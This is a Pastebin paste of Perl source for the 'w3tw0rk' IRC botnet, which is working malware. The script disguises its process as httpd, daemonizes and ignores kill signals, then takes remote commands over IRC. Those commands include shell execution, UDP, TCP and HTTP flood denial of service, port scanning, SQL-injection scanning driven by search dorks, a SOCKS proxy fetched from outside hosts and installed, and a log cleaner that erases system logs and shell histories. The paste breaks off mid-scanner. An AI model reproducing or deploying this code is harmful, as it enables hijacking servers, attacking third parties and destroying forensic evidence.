Advertisement
Condomenium

Kek

Nov 29th, 2016
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 64.71 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ####################################
  3. # Original Design By Pitbul Modded By w3tw0rk
  4. #-[w3tw0rk B0T Commands List]-
  5. #-----[Hacking Based]-----
  6. # !bot @multiscan <vuln> <dork>
  7. # !bot @socks5
  8. # !bot @sql2 <vuln> <dork> <col>
  9. # !bot @portscan <ip>
  10. # !bot @logcleaner
  11. # !bot @sendmail <subject> <sender> <recipient> <message>
  12. # !bot @system
  13. # !bot @cleartmp
  14. # !bot @rootable
  15. # !bot @nmap <ip> <beginport> <endport>
  16. # !bot @back <ip><port>
  17. # !bot @linuxhelp
  18. # !bot @cd tmp:. | for example
  19. #-----[Advisory-New Based]-----
  20. # !bot @packetstorm
  21. # !bot @milw0rm
  22. #-----[DDos Based]-----
  23. # !bot @udpflood <host> <packet size> <time>
  24. # !bot @tcpflood <host> <port> <packet size> <time>
  25. # !bot @httpflood <host> <time>
  26. # !bot @sqlflood <host> <time>
  27. #-----[IRC Based]-----
  28. # !bot @killme
  29. # !bot @join #channel
  30. # !bot @part #channel
  31. # !bot @reset
  32. # !bot @voice <who>
  33. # !bot @owner <who>
  34. # !bot @deowner <who>
  35. # !bot @devoice <who>
  36. # !bot @halfop <who>
  37. # !bot @dehalfop <who>
  38. # !bot @op <who>
  39. # !bot @deop <who>
  40. #-----[Flooding Based]-----
  41. # !bot @msgflood <who>
  42. # !bot @dccflood <who>
  43. # !bot @ctcpflood <who>
  44. # !bot @noticeflood <who>
  45. # !bot @channelflood
  46. # !bot @maxiflood <who>
  47. ####################################
  48. use HTTP::Request;
  49. use LWP::UserAgent;
  50. my $processo = 'usr/sbin/httpd';
  51. my $linas_max='10';
  52. my $sleep='5';
  53. my $cmd="http://h4ck3d.wsnw.net/mic22.txt";
  54. my $id="http://h4ck3d.wsnw.net/mic22.txt";
  55. ############################################
  56. my @adms=("DeRf-");
  57. my @canais=("#pbot");
  58. #Put your channel here
  59. my @nickname = ("baby");
  60. my $nick = $nickname[rand scalar @nickname];
  61. #Nickname of bot
  62. my $ircname ='unix';
  63. chop (my $realname = 'unx');
  64. #IRC name and Realname
  65. $servidor='us.priv8.in' unless $servidor;
  66. my $porta='6667';
  67. ############################################
  68. $SIG{'INT'} = 'IGNORE';
  69. $SIG{'HUP'} = 'IGNORE';
  70. $SIG{'TERM'} = 'IGNORE';
  71. $SIG{'CHLD'} = 'IGNORE';
  72. $SIG{'PS'} = 'IGNORE';
  73. use IO::Socket;
  74. use Socket;
  75. use IO::Select;
  76. chdir("/");
  77.  
  78. #Connect
  79. $servidor="$ARGV[0]" if $ARGV[0];
  80. $0="$processo"."\0"x16;;
  81. my $pid=fork;
  82. exit if $pid;
  83. die "Masalah fork: $!" unless defined($pid);
  84.  
  85. our %irc_servers;
  86. our %DCC;
  87. my $dcc_sel = new IO::Select->new();
  88. $sel_cliente = IO::Select->new();
  89. sub sendraw {
  90. if ($#_ == '1') {
  91. my $socket = $_[0];
  92. print $socket "$_[1]\n";
  93.  
  94. } else {
  95. print $IRC_cur_socket "$_[0]\n";
  96. }
  97. }
  98.  
  99. sub conectar {
  100. my $meunick = $_[0];
  101. my $servidor_con = $_[1];
  102. my $porta_con = $_[2];
  103.  
  104. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  105. PeerPort=>$porta_con) or return(1);
  106. if (defined($IRC_socket)) {
  107. $IRC_cur_socket = $IRC_socket;
  108. $IRC_socket->autoflush(1);
  109. $sel_cliente->add($IRC_socket);
  110. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  111. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  112. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  113. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  114. nick("$meunick");
  115. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  116. sleep 1;
  117. }
  118. }
  119.  
  120. my $line_temp;
  121. while( 1 ) {
  122. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  123. select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  124. delete($irc_servers{''}) if (defined($irc_servers{''}));
  125. my @ready = $sel_cliente->can_read(0);
  126. next unless(@ready);
  127. foreach $fh (@ready) {
  128. $IRC_cur_socket = $fh;
  129. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  130. $nread = sysread($fh, $msg, 4096);
  131. if ($nread == 0) {
  132. $sel_cliente->remove($fh);
  133. $fh->close;
  134. delete($irc_servers{$fh});
  135. }
  136. @lines = split (/\n/, $msg);
  137. for(my $c=0; $c<= $#lines; $c++) {
  138. $line = $lines[$c];
  139. $line=$line_temp.$line if ($line_temp);
  140. $line_temp='';
  141. $line =~ s/\r$//;
  142. unless ($c == $#lines) {
  143. parse("$line");
  144. } else {
  145. if ($#lines == 0) {
  146. parse("$line");
  147. } elsif ($lines[$c] =~ /\r$/) {
  148. parse("$line");
  149. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  150. parse("$line");
  151. } else {
  152. $line_temp = $line;
  153. }
  154. }
  155. }
  156. }
  157. }
  158.  
  159. sub parse {
  160. my $servarg = shift;
  161. if ($servarg =~ /^PING \:(.*)/) {
  162. sendraw("PONG :$1");
  163. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  164. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  165. if ($args =~ /^\001VERSION\001$/) {
  166. notice("$pn", "\001VERSION mIRC v6.17 w3tw0rk\001");
  167. }
  168. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  169. if ($onde eq "$meunick"){
  170. shell("$pn", "$args");
  171. }
  172. #End of Connect
  173. if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
  174. my $natrix = $1;
  175. my $arg = $2;
  176. if ($arg =~ /^\!(.*)/) {
  177. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  178. } elsif ($arg =~ /^\@(.*)/) {
  179. $ondep = $onde;
  180. $ondep = $pn if $onde eq $meunick;
  181. bfunc("$ondep","$1");
  182. } else {
  183. shell("$onde", "$arg");
  184. }
  185. }
  186. }
  187. }
  188. ######################### End of prefix
  189. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  190. if (lc($1) eq lc($meunick)) {
  191. $meunick=$4;
  192. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  193. }
  194. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  195. nick("$meunick|".int rand(999999));
  196. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  197. $meunick = $2;
  198. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  199. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  200. foreach my $canal (@canais) {
  201. sendraw("JOIN $canal $key");
  202. }
  203. }
  204. }
  205.  
  206. sub bfunc {
  207. my $printl = $_[0];
  208. my $funcarg = $_[1];
  209. if (my $pid = fork) {
  210. waitpid($pid, 0);
  211. } else {
  212. if (fork) {
  213. exit;
  214. } else {
  215.  
  216. if ($funcarg =~ /^killme/) {
  217. sendraw($IRC_cur_socket, "QUIT :");
  218. $killd = "kill -9 ".fork;
  219. system (`$killd`);
  220. }
  221. ######################
  222. # Commands #
  223. ######################
  224. if ($funcarg =~ /^commands/) {
  225. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[w3tw0rk B0T Commands List]-14@4] ");
  226. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[w3tbot/Hacking Based]-----14@4] ");
  227. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  228. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  229. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sql <vuln> <dork>");
  230. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  231. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  232. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  233. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  234. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  235. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  236. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  237. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  238. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  239. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  240. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  242. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  249. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3killme");
  250. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3join #channel");
  251. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3part #channel");
  252. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3reset");
  253. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  254. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  257. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  259. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  260. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  261. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  262. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  263. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  264. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  265. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  266. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  267. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  268. }
  269.  
  270. if ($funcarg =~ /^linuxhelp/) {
  271. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  272. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Dir where you are : pwd");
  273. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Start a Perl file : perl file.pl");
  274. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Go back from dir : cd ..");
  275. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  276. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Show all files/dir with permissions : ls -lia");
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  278. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  279. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  280. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  281. }
  282.  
  283. if ($funcarg =~ /^help/) {
  284. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  285. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3flooding - For IRC Flooding Help");
  286. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3irc - For IRC Bot Command Help ");
  287. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ddos - For DDos Command Help");
  288. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3news - For Security News Command Help ");
  289. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3hacking - For Hacking Command Help");
  290. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp - For Linux Help");
  291. }
  292.  
  293. if ($funcarg =~ /^flooding/) {
  294. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  295. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  296. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  297. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  298. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  299. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  300. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  301. }
  302.  
  303. if ($funcarg =~ /^irc/) {
  304. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  305. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  306. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  307. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  308. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  309. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  310. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  311. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  312. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  313. }
  314.  
  315. if ($funcarg =~ /^ddos/) {
  316. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  318. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  319. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  320. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  321. }
  322.  
  323. if ($funcarg =~ /^news/) {
  324. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  325. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  326. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  327. }
  328.  
  329. if ($funcarg =~ /^hacking/) {
  330. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  331. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  332. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  333. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  334. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  335. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  338. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  339. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  343. }
  344. ######################
  345. # End of Help #
  346. ######################
  347. ######################
  348. # Commands #
  349. ######################
  350. if ($funcarg =~ /^system/) {
  351. $uname=`uname -a`;
  352. $uptime=`uptime`;
  353. $ownd=`pwd`;
  354. $distro=`cat /etc/issue`;
  355. $id=`id`;
  356. $un=`uname -sro`;
  357. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  358. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a : 7 $uname");
  359. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime : 7 $uptime");
  360. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses : 7 $processo");
  361. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID : 7 $id");
  362. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir : 7 $ownd");
  363. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS : 7 $distro");
  364. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner : 7 fuck");
  365. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel : 7 #berau");
  366. }
  367.  
  368. if ($funcarg =~ /^milw0rm/) {
  369. my @ltt=();
  370. my @bug=();
  371. my $x;
  372. my $page="";
  373. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  374. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  375. my @r = <$socke>;
  376. $page="@r";
  377. close($socke);
  378. while ($page =~ m/<title>(.*)</g){
  379. $x = $1;
  380. if ($x =~ /\&lt\;/) {
  381. $x =~ s/\&lt\;/</g;
  382. }
  383. if ($x !~ /milw0rm/) {
  384. push (@bug,$x);
  385. }
  386. }
  387. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  388. if ($1 !~ m/milw0rm.com|exploits|en/){
  389. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  390. }
  391. }
  392. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  393. foreach $x (0..(@ltt - 1)) {
  394. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 $bug[$x] - $ltt[$x]");
  395. sleep 1;
  396. }
  397. }
  398. ######################
  399. # Portscan #
  400. ######################
  401. if ($funcarg =~ /^portscan (.*)/) {
  402. my $hostip="$1";
  403. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  404. my (@aberta, %porta_banner);
  405. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  406. foreach my $porta (@portas) {
  407. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  408. 'tcp', Timeout => 4);
  409. if ($scansock) {
  410. push (@aberta, $porta);
  411. $scansock->close;
  412. }
  413. }
  414.  
  415. if (@aberta) {
  416. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  417. } else {
  418. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  419. }
  420. }
  421.  
  422. ######################
  423. # End of Portscan #
  424. #####################
  425. #####################
  426. # Chk The News from PacketStorm#
  427. ######################
  428. if ($funcarg =~ /^packetstorm/) {
  429. my $c=0;
  430. my $x;
  431. my @ttt=();
  432. my @ttt1=();
  433. my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  434. print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  435. print $sock "Host: www.packetstormsecurity.org\r\n";
  436. print $sock "Accept: */*\r\n";
  437. print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  438. my @r = <$sock>;
  439. $page="@r";
  440. close($sock);
  441. while ($page =~ m/<link>(.*)<\/link>/g)
  442. {
  443. push(@ttt,$1);
  444. }
  445. while ($page =~ m/<description>(.*)<\/description>/g)
  446. {
  447. push(@ttt1,$1);
  448. }
  449. foreach $x (0..(@ttt - 1))
  450. {
  451. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  452. sleep 3;
  453. $c++;
  454. }
  455. }
  456. ######################
  457. #Auto Install Socks V5 using Mocks#
  458. ######################
  459. if ($funcarg =~ /^socks5/) {
  460. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  461. system 'cd /tmp';
  462. system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  463. system 'tar -xvfz mocks-0.0.2.tar.gz';
  464. system 'rm -rf mocks-0.0.2.tar.gz';
  465. system 'cd mocks-0.0.2';
  466. system 'rm -rf mocks.conf';
  467. system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  468. system 'touch mocks.log';
  469. system 'chmod 0 mocks.log';
  470. sleep(2);
  471. system './mocks start';
  472. sleep(4);
  473. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4 ");
  474.  
  475. #lets grab ip
  476. $net = `/sbin/ifconfig | grep 'eth0'`;
  477. if (length($net))
  478. {
  479. $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  480. if (!length($net))
  481. {
  482. $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  483. }
  484. if (length($net))
  485. {
  486. chop($net);
  487. @netip = split/:/,$net;
  488. $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  489. $ip = $1 .".". $2 .".". $3 .".". $4;
  490.  
  491. #and print it ^^
  492. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  493. }
  494. else
  495. {
  496. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  497. }
  498. }
  499. else
  500. {
  501. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  502. }
  503. }
  504. ######################
  505. # Nmap #
  506. ######################
  507. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  508. my $hostip="$1";
  509. my $portstart = "$2";
  510. my $portend = "$3";
  511. my (@abertas, %porta_banner);
  512. sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4| 4: $1:. |.: 4Ports 12:. 4 $2-$3");
  513. foreach my $porta ($portstart..$portend){
  514. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  515. if ($scansock) {
  516. push (@abertas, $porta);
  517. $scansock->close;
  518. if ($xstats){
  519. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan :. |Founded 4 $porta"."/Open");
  520. }
  521. }
  522. }
  523. if (@abertas) {
  524. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| Complete ");
  525. } else {
  526. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| No open ports have been founded 13");
  527. }
  528. }
  529. ######################
  530. # End of Nmap #
  531. ######################
  532. ######################
  533. # Log Cleaner #
  534. ######################
  535. if ($funcarg =~ /^logcleaner/) {
  536. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | This process can be long, just wait");
  537. system 'rm -rf /var/log/lastlog';
  538. system 'rm -rf /var/log/wtmp';
  539. system 'rm -rf /etc/wtmp';
  540. system 'rm -rf /var/run/utmp';
  541. system 'rm -rf /etc/utmp';
  542. system 'rm -rf /var/log';
  543. system 'rm -rf /var/logs';
  544. system 'rm -rf /var/adm';
  545. system 'rm -rf /var/apache/log';
  546. system 'rm -rf /var/apache/logs';
  547. system 'rm -rf /usr/local/apache/log';
  548. system 'rm -rf /usr/local/apache/logs';
  549. system 'rm -rf /root/.bash_history';
  550. system 'rm -rf /root/.ksh_history';
  551. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | All default log and bash_history files erased");
  552. sleep 1;
  553. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Now Erasing the rest of the machine log files");
  554. system 'find / -name *.bash_history -exec rm -rf {} \;';
  555. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  556. system 'find / -name "log*" -exec rm -rf {} \;';
  557. system 'find / -name *.log -exec rm -rf {} \;';
  558. sleep 1;
  559. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Done! All logs erased");
  560. }
  561. ######################
  562. # End of Log Cleaner #
  563. ######################
  564. ######################
  565. # SQL SCANNER #
  566. ######################
  567.  
  568. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  569. if (my $pid = fork) {
  570. waitpid($pid, 0);
  571. } else {
  572. if (my $d=fork()) {
  573. addproc($d,"[SQL2] $2");
  574. exit;
  575. } else {
  576.  
  577. my $bug=$1;
  578. my $dork=$2;
  579. my $contatore=0;
  580. my ($type,$space);
  581. my %hosts;
  582. my $columns=$3;
  583.  
  584. ### Start Message
  585. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  586. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  587. ### End of Start Message
  588. # Starting Google
  589. my @glist=&google($dork);
  590. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  591. my @mlist=&msn($dork);
  592. my @asklist=&ask($dork);
  593. my @allist=&alltheweb($dork);
  594. my @aollist=&aol($dork);
  595. my @lycos=&lycos($dork);
  596. my @ylist=&yahoo($dork);
  597. my @mzlist=&mozbot($dork);
  598. my @mamalist&mamma($dork);
  599. my @hlist=&hotbot($dork);
  600. my @altlist=&altavista($dork);
  601. my @slist=&search($dork);
  602. my @ulist=&uol($dork);
  603. my @fireball=&fireball($dork);
  604. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  605. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  606. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  607. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
